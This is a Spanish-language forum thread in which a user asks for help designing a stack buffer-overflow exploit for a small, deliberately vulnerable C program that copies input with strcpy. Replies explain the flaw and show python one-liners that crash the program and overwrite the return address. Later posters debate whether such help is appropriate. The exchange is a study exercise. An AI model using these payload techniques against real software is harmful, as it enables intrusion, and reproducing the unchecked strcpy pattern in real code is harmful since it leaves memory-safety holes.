DISEÑO DE EXPLOIT

Iniciado por crimi, 12 Diciembre 2012, 00:39 AM

0 Miembros y 1 Visitante están viendo este tema.

crimi

Hola:

¿Alguien me podría ayudar con el siguiente ejercicio?

1.Dado el siguiente código fuente, diseñar un exploit que permita la función "privada":

#include <string.h>
void privada (void) {
printf("Hola función pública\n");
}
int main(int argc, char * argv [])
{
char buffer [40];
if (argc != 2){
printf("Necesito un argumento %d\n",argc);
exit(-1);
}
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return (0);
}

0xDani

Si te fijas no se verifica que argv[1] apunte a una cadena de menos de 40 caracteres, ni se limita el numero de caracteres que se pueden copiar a buffer. Aqui tendrias que hacer un stack overflow, de forma que puedas dejar EIP apuntando a la funcion privada, o algo asi.

http://www.exploit-db.com/download_pdf/17008
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

ameise_1987

#2
pistas:

Citarcon 51 caracteres no rompe!!.

./prueba `python -c "print 'a'*51"`

con 52 caracteres rompe!!.


./prueba `python -c "print 'a'*52"
Segmentation fault


si con 52 caracteres rompe, intentemos inyectar una direccion de memoria despues de un buffer de 52 caracteres, en mi caso inyecte la direccion de antes del printf que se encuentra dentro del if que verifica si he ingresado un parametro por consola(la direccion antes, para que ingrese la cadena, de lo contrario tendria un error), la idea era que imprimira el buffer ingresado y tambien el mensaje de error diciendo que debia ingresar un parametro  :laugh:


Citar./prueba `python -c "print 'a'*52+'\xd6\x84\x04\x08'"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaք
Necesito un argumento -1073743340

siendo \xd6\x84\x04\x08 -> 0x080484d6, que es la direccion de la cadena "Necesito un argumento %d\n" , ahora lo que debes hacer es buscar la direccion de la funcion a ejecutar y reemplazarla por esa.

tambien, debes leer un tutorial de ASM at&t y un tutorial de buffer overflow.
http://overflowedminds.net/papers.php
firma retirada por insultar/cachondearse de (anelkaos) del staff.

FerRockrose

¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?

TrashAmbishion

Cita de: FerRockrose en  3 Enero 2013, 22:08 PM
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?

No le veo nada de malo a eso, hasta donde el pregunto no veo nada malo...

Tampoco exageremos

Salu2

Falso Positivo

Cita de: FerRockrose en  3 Enero 2013, 22:08 PM
¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?

¿Qué es lo malo en guiar para conocer mejor el funcionamiento y problemas mas comunes de varios programas?
Don't worry, be hacked....